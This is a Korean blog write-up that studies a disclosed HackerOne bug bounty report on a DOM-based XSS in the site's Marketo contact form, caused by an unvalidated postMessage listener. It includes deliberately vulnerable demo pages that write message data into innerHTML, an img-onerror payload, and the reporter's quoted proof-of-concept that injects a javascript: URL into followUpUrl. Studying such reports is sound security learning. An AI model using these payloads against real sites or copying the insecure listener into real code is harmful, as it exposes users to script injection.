https://hackerone.com/reports/398054
HackerOne disclosed on HackerOne: DOM Based XSS in...
**Summary:** The Marketo contact form available on the www.hackerone.com website is affected by a cross-site scripting vulnerability, caused by an insecure 'message' event listener installed on the page. Whilst this could allow an attacker to execute JavaS
hackerone.com
작성자는 DOM Based XSS를 발생시켰고, 바운티로 500달러를 받았다고 합니다. 이 건도 특이한데요. 홈페이지 내 사용된 자바스크립트를 분석하여 postMessage를 사용하는 부분을 발견하였고, 해당 부분에 사용자 입력값 검증을 하지 않아서 문제가 발생했습니다.
먼저 postMessage 함수에서 입력값 검증이 없다면 어떻게 문제가 발생되는지 테스트페이지를 통해 알아보겠습니다. 테스트페이지는 https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html 를 참고 하였습니다.
postMessage 함수란 크로스 도메인간 데이터 송/수신을 할 때 사용합니다. 쉽게 말해서 웹페이지 끼리 데이터를 주고 받을 때 사용합니다.
test.html - 수신자 페이지
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<!DOCTYPE html>
<html>
<head>수신자 페이지</head>
<body>Message<br>
<div id="message">
</div>
</body>
</html>
<script type="text/javascript">
window.onmessage = function(e){
document.getElementById("message").innerHTML += e.data;
// 데이터를 받아서 뿌려줍니다.
}
</script>
|
cs |
웹페이지 끼리의 데이터 송수신을 하려면 두개의 페이지가 필요하겠죠? 먼저 수신자 페이지를 만들어 줍니다.
test2.html - 송신자 페이지
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<!DOCTYPE html>
<html>
<head>송신자 페이지</head>
<body>
<button onclick="sendMessage();">보내기</button>
<iframe id="test" src="test.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript">
function sendMessage(){
var dest = document.getElementById("test");
dest.contentWindow.postMessage("<b>Parent : Message</b>","*");
// contentWindow - iframe 으로 생성된 window에 접근
}
</script>
|
cs |
송신자 페이지도 만들어 주었습니다. 버튼을 누르게되면 postMessage를 통하여 iframe으로 생성된 수신자 페이지로 메세지가 전송됩니다. 한번 전송해 보겠습니다.
정상적으로 메세지가 수신됨을 알 수 있습니다. 이렇게 간단하게 두 페이지간의 메세지처리를 postMessage 함수를 이용하여 할 수 있는데요. 여기서 송신자가 전송하는 메세지를 아무런 검증없이 innerHTML 을 통하여 웹에 뿌려주고 있기때문에 문제가 발생합니다. 공격코드를 한번 작성해 보겠습니다.
attack.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<!DOCTYPE html>
<html>
<head>송신자 페이지</head>
<body>
<button onclick="sendMessage();">보내기</button>
<iframe id="test" src="test.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript">
function sendMessage(){
var dest = document.getElementById("test");
dest.contentWindow.postMessage("<b>Parent : Message</b><img src='x' onerror=alert(1)>");
// contentWindow - iframe 으로 생성된 window에 접근
}
</script>
|
cs |
전송되는 메세지로 <img src='x' onerror=alert(1)> 라는 스크립트를 삽입해 주었습니다. 현재 입력값에한 검증이 없기 때문에 XSS 공격이 성공하게 되겠죠.
보내기 버튼을 누르자마자 공격자의 스크립트가 발생했습니다. 성공입니다. 이런식으로 postMessage를 공략하여 XSS를 발생시킬 수 있습니다.
다시 리포트로 돌아와서 이 작성자도 마찬가지로 postMessage를 발견하였고, 입력값에 대한 검증이 없는것을 발견했습니다.
Marketo forms2.js 에서 문제가 발생했는데요. 코드를 보겠습니다.
onMessage 로 postMessage를 처리해주는 함수가 있습니다. 여기서 mktoResponse 가 true면 onResponse가 호출됩니다.
onResponse가 호출된 뒤에, mktoResponse.error 가 false 라면 success 함수를 호출하는데요.
사용자의 입력값으로 받은 JSON 데이터 중 findCorrectFollowUpUrl 라는 키값에서 데이터를 뽑아서 그대로 검증없이 location.herf 로 넘겨주고 있습니다. 여기서 문제가 발생했습니다. URL 부분에 공격자의 코드를 postMessage로 넘겨주게되면 XSS가 성공하게 되겠습니다. 이분이 작성한 PoC 코드를 보겠습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<!DOCTYPE html>
<html>
<head>
<title>Hackerone PostMessage XSS</title>
</head>
<body>
<p>You want to contact Hackerone! Click this button and submit the form!</p>
<button id="openH1">Click Here</button>
<script>
var h1Win;
function openWin(){
h1Win = window.open("https://www.hackerone.com/#contact/");
setInterval(sendMessage, 250);
}
function sendMessage(){
h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
}
document.getElementById("openH1").addEventListener('click', openWin);
</script>
</body>
</html>
|
cs |
위에서 보았던 예제코드랑 동일합니다. postMessage를 받기위해서 h1Win이라는 변수를 선언하고 해커원 페이지를 열어주었습니다. 그다음 postMessage함수를 사용해 위의 테스트페이지에서 한것처럼 취약점이 있는 followUpUrl 이라는 부분에 공격코드를 주입했습니다.
그 결과로 이렇게 공격자의 코드가 정상적으로 실행되는 것을 확인하였습니다.
'Security > BugBounty Study' 카테고리의 다른 글
버그바운티(Bug Bounty) Write-up / POST Based XSS ($500) (0) | 2019.04.04 |
---|---|
버그바운티(Bug Bounty) Write-up / DOM Based XSS ($500) (0) | 2019.04.03 |
버그바운티(Bug Bounty) Write-up / Stored XSS ($750) (0) | 2019.04.01 |
버그바운티(Bug Bounty) Write-up / SQL Injection ($4,500) (0) | 2019.03.31 |
버그바운티(Bug Bounty) Write-up / Reflected Cross site Scripting ($375) (0) | 2019.03.30 |